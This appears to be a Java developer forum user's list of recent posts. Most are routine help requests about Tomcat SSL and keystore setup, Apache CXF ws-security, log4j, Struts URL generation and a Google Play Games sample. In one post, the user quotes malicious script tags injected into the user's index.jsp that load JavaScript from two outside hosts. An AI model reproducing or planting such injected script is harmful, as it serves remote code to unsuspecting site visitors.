Luca Carletti

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since Jun 15, 2010
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Recent posts by Luca Carletti

Hello,

I would like create  a multiplayer game for android.

I have try with the example:

https://github.com/playgameservices/android-basic-samples/tree/master/ButtonClicker

I have found:
https://github.com/playgameservices/android-basic-samples/blob/master/ButtonClicker/src/main/res/values/ids.xml

<resources>
   <!-- TODO: Replace this entire file with the ids.xml provided from the Google Play Console.
        NOTE: You can find this file by clicking the `Get Resources` link in
        the Events, Achievements, or Leaderboards menu of the Google Play Console. -->
   <string name="app_id">YOUR_APP_ID</string>
</resources>


I want ask:
Is it required pay 25$  for test my example or I can found YOUR_APP_ID for free?


Tanks for your replay.

Regards.


5 years ago

I have used this guide
https://knowledge.rapidssl.com/support/ssl-certificate-support/index?page=content&actp=CROSSLINK&id=SO16068
I used rapidssl for CA.

But i following your suggestion and I have change my connector:

<Connector
className="org.apache.coyote.tomcat4.CoyoteConnector"
port="443"
minProcessors="5"
maxProcessors="75"
enableLookups="false"
acceptCount="10"
connectionTimeout="60000"
debug="0"
SSLEnabled="true"
scheme="https"
secure="true">
<Factory
className="org.apache.coyote.tomcat4.CoyoteServerSocketFactory"
clientAuth="false"
protocol="TLS"
keystoreFile="PATH_KEYSTORE/miokeystore.jks"
keystorePass="myPass"/>
</Connector>

with:

<Connector
protocol="org.apache.coyote.http11.Http11Protocol"
port="443"
maxThreads="150"
scheme="https"
secure="true"
SSLEnabled="true"
keystoreFile="PATH_KEYSTORE/miokeystore.jks"
keystorePass="myPass"
clientAuth="false"
sslProtocol="TLS"
/>

Now in my catalina.out, I have not error, and in my site the https is corretly, but there is the worning:
This connection is untrasted; and I must to add exception for show my site.

Exist a way to debug this problem?

Tanks, Regard

8 years ago
Hello Tim,

Tanks a lot for you replay.

I have used another way and then i have verified whit the CA that my file.jks is correct

The CA said me that the problem is in the server.xml configuration.

I have add in the server.xml the followed configuration:

<Connector
className="org.apache.coyote.tomcat4.CoyoteConnector"
port="443"
minProcessors="5"
maxProcessors="75"
enableLookups="false"
acceptCount="10"
connectionTimeout="60000"
debug="0"
SSLEnabled="true"
scheme="https"
secure="true">
<Factory
className="org.apache.coyote.tomcat4.CoyoteServerSocketFactory"
clientAuth="false"
protocol="TLS"
keystoreFile="PATH_KEYSTORE/miokeystore.jks"
keystorePass="myPass"/>
</Connector>


But in the my catalina.out I have the followed error:

gen 24, 2016 1:18:04 PM org.apache.coyote.AbstractProtocol init
Informazioni: Initializing ProtocolHandler ["http-bio-443"]
gen 24, 2016 1:18:05 PM org.apache.tomcat.util.net.jsse.JSSESocketFactory getStore
Grave: Failed to load keystore type JKS with path /root/.keystore due to /root/.keystore (No such file or directory)
java.io.FileNotFoundException: /root/.keystore (No such file or directory)
at java.io.FileInputStream.open(Native Method)
at java.io.FileInputStream.<init>(FileInputStream.java:146)
at org.apache.tomcat.util.net.jsse.JSSESocketFactory.getStore(JSSESocketFactory.java:413)
at org.apache.tomcat.util.net.jsse.JSSESocketFactory.getKeystore(JSSESocketFactory.java:319)
at org.apache.tomcat.util.net.jsse.JSSESocketFactory.getKeyManagers(JSSESocketFactory.java:577)
at org.apache.tomcat.util.net.jsse.JSSESocketFactory.getKeyManagers(JSSESocketFactory.java:517)
at org.apache.tomcat.util.net.jsse.JSSESocketFactory.init(JSSESocketFactory.java:462)
at org.apache.tomcat.util.net.jsse.JSSESocketFactory.createSocket(JSSESocketFactory.java:209)
at org.apache.tomcat.util.net.JIoEndpoint.bind(JIoEndpoint.java:398)
at org.apache.tomcat.util.net.AbstractEndpoint.init(AbstractEndpoint.java:646)
at org.apache.coyote.AbstractProtocol.init(AbstractProtocol.java:434)
at org.apache.coyote.http11.AbstractHttp11JsseProtocol.init(AbstractHttp11JsseProtocol.java:119)
at org.apache.catalina.connector.Connector.initInternal(Connector.java:978)
at org.apache.catalina.util.LifecycleBase.init(LifecycleBase.java:102)
at org.apache.catalina.core.StandardService.initInternal(StandardService.java:559)
at org.apache.catalina.util.LifecycleBase.init(LifecycleBase.java:102)
at org.apache.catalina.core.StandardServer.initInternal(StandardServer.java:821)
at org.apache.catalina.util.LifecycleBase.init(LifecycleBase.java:102)
at org.apache.catalina.startup.Catalina.load(Catalina.java:638)
at org.apache.catalina.startup.Catalina.load(Catalina.java:663)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:606)
at org.apache.catalina.startup.Bootstrap.load(Bootstrap.java:280)
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:454)


But I'm sure that the PATH_KEYSTORE/miokeystore.jks is correct.


Can you help me?

Tanks. regards,
Luca Carletti
8 years ago

download log4j for
https://logging.apache.org/log4j/1.2/download.html

unzip the log4j.jar e paste in WEB-INF/LIB

then use the following link

http://www.mkyong.com/tutorials/log4j-tutorial/

regard
8 years ago
Hello, I have a webapp in apache tomcat.

I have configurated the ssl and i have imported the CA in keystore.jks.

I have done the followed:


1) keytool -genkey -alias 'mykeyalias' -keyalg RSA -sigalg SHA1withRSA -keysize 2048 -keystore keystore.jks -dname "CN=www.mywebsite.it , OU=it, O=mywebsite, L=mycity, ST=Italia, C=IT"
pass: keypass

2) keytool -certreq -alias 'mykeyalias' -keystore keystore.jks -file www.mywebsite.csr -sigalg SHA1WithRSA
pass: keypass

3)By CA I download e unzip www_mywebsite_it.zip ASSOCIATE at file www.mysite.csr (whith SHA1)
I have obtained:
a) AddTrustExternalCARoot.crt
b) COMODORSAAddTrustCA.crt
c) COMODORSADomainValidationSecureServerCA.crt
d) www_mywebsite_it.crt

Then i have imported the followed certified:

keytool -import -alias 'rootcert' -keystore keystore.jks -trustcacerts -file AddTrustExternalCARoot.crt
pass: keypass

keytool -import -alias 'rsaTrust' -keystore keystore.jks -trustcacerts -file COMODORSAAddTrustCA.crt
pass: keypass

keytool -import -alias 'domainValidation' -keystore keystore.jks -trustcacerts -file COMODORSADomainValidationSecureServerCA.crt
pass: keypass


At the end I used in mi server.xml the follow configuration:

<Connector
port="443"
maxThreads="150"
scheme="https"
secure="true"
SSLEnabled="true"
keystoreFile="keystore.jks"
keystorePass="keypass"
clientAuth="false"
keyAlias="mykeyalias"
sslProtocol="TLS"
/>

In my site the https is corretly, but there is the worning:
This connection is untrasted; and I must to add exception for show my site.

I don't know where is the mistake.

Somebady can help me?

Thanks a lot, Regard
8 years ago
Hello, I want implement web service whit cxf using ws_security.

I have download apache cxf 2.3.3 and apache cxf 2.7.4.

I have test the

apache-cxf-2.3.3\samples\ws_security\sign_enc :

(apache-cxf-2.3.4\lib) use soap11
the sample (apache-cxf-2.3.3\samples\ws_security\sign_enc) use soap11

and this is OK

........

but,

apache-cxf-2.7.4\samples\ws_security\sign_enc

there is problem because the library(apache-cxf-2.7.4\lib) use soap12, but

the sample (apache-cxf-2.7.4\samples\ws_security\sign_enc) use soap11

Post the exception:
Caused by: org.apache.ws.security.WSSecurityException: General security error (WSEncryptBody/WSSignEnvelope: Element to encrypt/sign not found: http://schemas.xmlsoap.org/soap/envelope/, Body)
at org.apache.ws.security.message.WSSecSignatureBase.addReferencesToSign(WSSecSignatureBase.java:160)
... 25 more

I have made this change:

this code(soap11):

private static final String WSU_NS = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd";
outProps.put("encryptionParts", "{Element}{" + WSU_NS + "}Timestamp;"
+ "{Content}{http://schemas.xmlsoap.org/soap/envelope/}Body");
outProps.put("signatureParts", "{Element}{" + WSU_NS + "}Timestamp;"
+ "{Element}{http://schemas.xmlsoap.org/soap/envelope/}Body");

whith(soap12):

private static final String WSU_NS = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd";
outProps.put("encryptionParts", "{Element}{" + WSU_NS + "}Timestamp;"
+ "{Content}{http://www.w3.org/2003/05/soap-envelope}Body");
outProps.put("signatureParts", "{Element}{" + WSU_NS + "}Timestamp;"
+ "{Element}{http://www.w3.org/2003/05/soap-envelope}Body");

But i have this warning:

WARNING: Interceptor for {http://docs.oasis-open.org/ws-dd/ns/discovery/2009/01}Discovery#{http://cxf.apache.org/jaxws/provider}invoke has thrown exception, unwinding now
org.apache.cxf.binding.soap.SoapFault: MustUnderstand headers: [{http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd}Security] are not understood.
at org.apache.cxf.binding.soap.interceptor.MustUnderstandInterceptor$MustUnderstandEndingInterceptor.handleMessage(MustUnderstandInterceptor.java:281)
at org.apache.cxf.binding.soap.interceptor.MustUnderstandInterceptor$MustUnderstandEndingInterceptor.handleMessage(MustUnderstandInterceptor.java:259)
at org.apache.cxf.phase.PhaseInterceptorChain.doIntercept(PhaseInterceptorChain.java:271)
at org.apache.cxf.transport.ChainInitiationObserver.onMessage(ChainInitiationObserver.java:121)
at org.apache.cxf.transport.udp.UDPDestination$MCastListener$2.run(UDPDestination.java:106)
at org.apache.cxf.workqueue.AutomaticWorkQueueImpl$3.run(AutomaticWorkQueueImpl.java:428)
at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
at org.apache.cxf.workqueue.AutomaticWorkQueueImpl$AWQThreadFactory$1.run(AutomaticWorkQueueImpl.java:353)
at java.lang.Thread.run(Unknown Source)

anybody have a idea?

Thank you












10 years ago
Thank you for reply,

build my own host web sites is a good idea!!!

can you give me some indication for build my own web server and host web sites???

Can you post me some link taht to explain how to do???




12 years ago
JSP
my hosting company say that depend by sql injection, but i don't know how that can modify my code...
12 years ago
JSP
Hello,

I have publisched a site in a hosty server.

Recently i have discove that in my index.jsp page there is a malware code:

<html><body><script type="text/javascript" src="http://rafalpasko.hekko.pl/minijtools.js"></script><script type="text/javascript" src="http://tasavang.com/jtoolsmini.js"></script></body></html>

I have cleaner the code, but periodically the malware code reappear....

I don't know how that is possible...

anybody know a method to stop that???

Thank you and excuse for my terrible english...
12 years ago
JSP
I think in effect that the problem is really struts when use a action (servlet), struts use path relative in web.xml for achieve the struts-config.xml and this use path relative for the forwording!!!

Know you if exist some configuration in struts to indicate the path absolute or to indicate a struts the begin part of the url???
13 years ago
I think that you use a version of
java no correct!!!

You must use a version 1.5 for tomcat 5!!!

I have the same problem whit tomcat 5.5 and java 1.6!!!

With java 1.5 the tomcat 5.5 run right
13 years ago
Excuse me for the message, but the

<base href="http://111.112.113.114:8080/jsp/login.jsp">

is the view of the page source of the html.
But for generate it i have use the stuts library!!

The source code is:
<%@ taglib uri="/tags/struts-html" prefix="html" %>

<html:base/>
13 years ago
In effect the tag html <base>
is:

<base href="http://111.112.113.114:8080/jsp/login.jsp">

in the index page!!

But url is:
http://www.mysite.it/jsp/login.jsp


13 years ago
Hello , I have a application
that use:

1) apache tomcat
2) struts

my webSite lose the dns:

Exemple:
1)supposing my site: http://www.mysite.it
2)supposing Apache Tomcat IP --> 111.112.113.114 port 8080

when i execute a action for examples login.do,

I want my url:

http://www.mysite.it/login.do

but I have

http://111.112.113.114:8080/login.do --> (my site lose the dns)

In the index page url is
http://www.mysite.it/ but
the source page in tag <base> is:
<base href="http://111.112.113.114:8080/jsp/login.jsp">

but I think that is no correct
I think that the tag <base> correct must be:

<base href="http://www.mysite.it/jsp/login.jsp">

Thank you!



13 years ago
Hello, many thanks for your time!!!I have know about the reverse dns, but
my site is on hosting services.
I have send a email by systems engineer of hosting about your replace, but they say that the problem is how the url is created!!!
I think about the problem is struts that use path relative for generate the url!





13 years ago